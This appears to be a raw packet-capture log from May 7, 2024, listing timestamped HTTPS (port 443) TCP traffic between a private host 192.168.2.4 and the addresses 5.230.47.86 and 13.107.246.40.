May 7, 2024 20:31:44.369976997 CEST	443	49797	5.230.47.86	192.168.2.4
May 7, 2024 20:31:44.370415926 CEST	49797	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:44.370507956 CEST	443	49797	5.230.47.86	192.168.2.4
May 7, 2024 20:31:44.370651960 CEST	49797	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:44.370681047 CEST	443	49797	5.230.47.86	192.168.2.4
May 7, 2024 20:31:44.425223112 CEST	443	49796	5.230.47.86	192.168.2.4
May 7, 2024 20:31:44.425549030 CEST	49796	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:44.425566912 CEST	443	49796	5.230.47.86	192.168.2.4
May 7, 2024 20:31:44.427186012 CEST	443	49796	5.230.47.86	192.168.2.4
May 7, 2024 20:31:44.427659035 CEST	49796	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:44.427942991 CEST	49796	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:44.428266048 CEST	443	49796	5.230.47.86	192.168.2.4
May 7, 2024 20:31:44.428451061 CEST	443	49796	5.230.47.86	192.168.2.4
May 7, 2024 20:31:44.481049061 CEST	49796	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:44.896991968 CEST	443	49796	5.230.47.86	192.168.2.4
May 7, 2024 20:31:44.901597977 CEST	49796	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:44.901655912 CEST	443	49796	5.230.47.86	192.168.2.4
May 7, 2024 20:31:44.901772976 CEST	49796	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.010312080 CEST	443	49797	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.010341883 CEST	443	49797	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.010354996 CEST	443	49797	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.010374069 CEST	443	49797	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.010394096 CEST	49797	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.010427952 CEST	443	49797	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.010449886 CEST	49797	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.010483980 CEST	49797	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.147562027 CEST	49798	443	192.168.2.4	13.107.246.40
May 7, 2024 20:31:45.147612095 CEST	443	49798	13.107.246.40	192.168.2.4
May 7, 2024 20:31:45.147854090 CEST	49798	443	192.168.2.4	13.107.246.40
May 7, 2024 20:31:45.149214029 CEST	49798	443	192.168.2.4	13.107.246.40
May 7, 2024 20:31:45.149231911 CEST	443	49798	13.107.246.40	192.168.2.4
May 7, 2024 20:31:45.178803921 CEST	443	49797	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.178823948 CEST	443	49797	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.178875923 CEST	49797	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.178900957 CEST	443	49797	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.178921938 CEST	49797	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.178951025 CEST	49797	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.348021030 CEST	443	49797	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.348117113 CEST	443	49797	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.348114967 CEST	49797	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.348206043 CEST	49797	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.370188951 CEST	49797	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.370218992 CEST	443	49797	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.378588915 CEST	49799	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.378643990 CEST	443	49799	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.378848076 CEST	49799	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.380440950 CEST	49800	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.380477905 CEST	443	49800	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.380587101 CEST	49800	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.383208990 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.383249998 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.383352995 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.383847952 CEST	49799	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.383866072 CEST	443	49799	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.384202957 CEST	49800	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.384217978 CEST	443	49800	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.384417057 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.384433031 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.418210983 CEST	443	49798	13.107.246.40	192.168.2.4
May 7, 2024 20:31:45.420860052 CEST	49798	443	192.168.2.4	13.107.246.40
May 7, 2024 20:31:45.420896053 CEST	443	49798	13.107.246.40	192.168.2.4
May 7, 2024 20:31:45.421916008 CEST	443	49798	13.107.246.40	192.168.2.4
May 7, 2024 20:31:45.421981096 CEST	49798	443	192.168.2.4	13.107.246.40
May 7, 2024 20:31:45.423800945 CEST	49798	443	192.168.2.4	13.107.246.40
May 7, 2024 20:31:45.423861980 CEST	443	49798	13.107.246.40	192.168.2.4
May 7, 2024 20:31:45.474502087 CEST	49798	443	192.168.2.4	13.107.246.40
May 7, 2024 20:31:45.474509001 CEST	443	49798	13.107.246.40	192.168.2.4
May 7, 2024 20:31:45.525047064 CEST	49798	443	192.168.2.4	13.107.246.40
May 7, 2024 20:31:45.724395990 CEST	443	49799	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.724827051 CEST	49799	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.724865913 CEST	443	49799	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.725905895 CEST	443	49799	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.725987911 CEST	49799	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.727890968 CEST	49799	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.727966070 CEST	443	49799	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.728359938 CEST	49799	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.728378057 CEST	443	49799	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.736358881 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.736723900 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.736752033 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.737778902 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.737855911 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.738154888 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.738214970 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.738941908 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.738950968 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.743657112 CEST	443	49800	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.744285107 CEST	49800	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.744309902 CEST	443	49800	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.744656086 CEST	443	49800	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.745104074 CEST	49800	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.745170116 CEST	443	49800	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.745450974 CEST	49800	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.745479107 CEST	443	49800	5.230.47.86	192.168.2.4
May 7, 2024 20:31:45.771471977 CEST	49799	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:45.785970926 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.158335924 CEST	443	49800	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.208211899 CEST	49800	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.208240986 CEST	443	49800	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.254463911 CEST	49800	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.266599894 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.266633987 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.266642094 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.266654015 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.266676903 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.266844988 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.266879082 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.267046928 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.326647043 CEST	443	49799	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.326669931 CEST	443	49799	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.326677084 CEST	443	49799	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.326706886 CEST	443	49799	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.326739073 CEST	443	49799	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.326751947 CEST	49799	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.326770067 CEST	443	49799	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.326791048 CEST	49799	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.326816082 CEST	49799	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.326824903 CEST	443	49799	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.326868057 CEST	49799	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.329166889 CEST	443	49800	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.329180956 CEST	443	49800	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.329204082 CEST	443	49800	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.329216957 CEST	443	49800	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.329230070 CEST	443	49800	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.329236031 CEST	49800	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.329268932 CEST	443	49800	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.329283953 CEST	49800	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.329318047 CEST	443	49800	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.329391956 CEST	49800	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.329698086 CEST	49799	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.329718113 CEST	443	49799	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.331376076 CEST	49800	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.331388950 CEST	443	49800	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.436182022 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.436212063 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.436364889 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.436379910 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.436671019 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.605787992 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.605812073 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.605873108 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.605894089 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.605930090 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.605948925 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.775937080 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.775966883 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.776032925 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.776060104 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.776263952 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.949220896 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.949245930 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.949331999 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.949357033 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:46.949395895 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:46.949404955 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:47.118412018 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:47.118434906 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:47.118505001 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:47.118534088 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:47.118582010 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:47.287693977 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:47.287722111 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:47.287781954 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:47.287807941 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:47.287837029 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:47.287847996 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:47.457463026 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:47.457484961 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:47.457547903 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:47.457573891 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:47.457637072 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:47.626756907 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:47.626776934 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:47.626885891 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:47.626910925 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:47.627118111 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:47.796607971 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:47.796628952 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:47.796675920 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:47.796701908 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:47.796722889 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:47.796755075 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:47.966330051 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:47.966362953 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:47.966413021 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:47.966435909 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:47.966466904 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:47.966479063 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.135777950 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.135807037 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.135853052 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.135876894 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.135927916 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.305259943 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.305284023 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.305355072 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.305380106 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.305412054 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.305428982 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.305510044 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.305525064 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.305572987 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.305578947 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.305603027 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.305618048 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.474966049 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.474991083 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.475106001 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.475121975 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.475291967 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.646666050 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.646688938 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.646759033 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.646792889 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.646811962 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.646850109 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.647175074 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.647192001 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.647255898 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.647264004 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.647347927 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.816215992 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.816240072 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.816287041 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.816313028 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.816349983 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.816368103 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.901199102 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.901232958 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.901577950 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.901603937 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.901691914 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.989074945 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.989098072 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.989191055 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:48.989217043 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:48.989300966 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.157994032 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.158016920 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.158214092 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.158242941 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.158296108 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.158519030 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.158533096 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.158585072 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.158592939 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.158641100 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.327743053 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.327768087 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.327815056 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.327862024 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.327872038 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.327945948 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.330621004 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.330637932 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.330696106 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.330703020 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.330729961 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.330745935 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.500540972 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.500574112 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.500638962 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.500669003 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.500720978 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.500865936 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.500883102 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.500926971 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.500936985 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.500961065 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.500974894 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.672578096 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.672600985 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.672648907 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.672692060 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.672693014 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.672717094 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.672761917 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.672761917 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.715655088 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.839462996 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.839482069 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.839545012 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.839561939 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.839629889 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.842391014 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.842406988 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.842470884 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:49.842478037 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:49.842518091 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.008827925 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.008847952 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.008913040 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.008946896 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.008955956 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.008990049 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.011826038 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.011842012 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.011919022 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.011933088 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.012141943 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.099740028 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.099759102 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.099824905 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.099853039 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.099973917 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.182641029 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.182661057 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.182755947 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.182784081 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.182888985 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.183445930 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.183459997 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.183538914 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.183545113 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.183621883 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.270050049 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.270066977 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.270138979 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.270165920 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.270279884 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.320957899 CEST	443	49798	13.107.246.40	192.168.2.4
May 7, 2024 20:31:50.321043015 CEST	443	49798	13.107.246.40	192.168.2.4
May 7, 2024 20:31:50.321125984 CEST	49798	443	192.168.2.4	13.107.246.40
May 7, 2024 20:31:50.352369070 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.352389097 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.352459908 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.352484941 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.352561951 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.352730989 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.352746010 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.352792978 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.352798939 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.352863073 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.485802889 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.485824108 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.485876083 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.485899925 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.485914946 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.485970974 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.521471977 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.521490097 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.521565914 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.521573067 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.521605015 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.522030115 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.522046089 CEST	443	49801	5.230.47.86	192.168.2.4
May 7, 2024 20:31:50.522106886 CEST	49801	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:50.522113085 CEST	443	49801	5.230.47.86	192.168.2.4
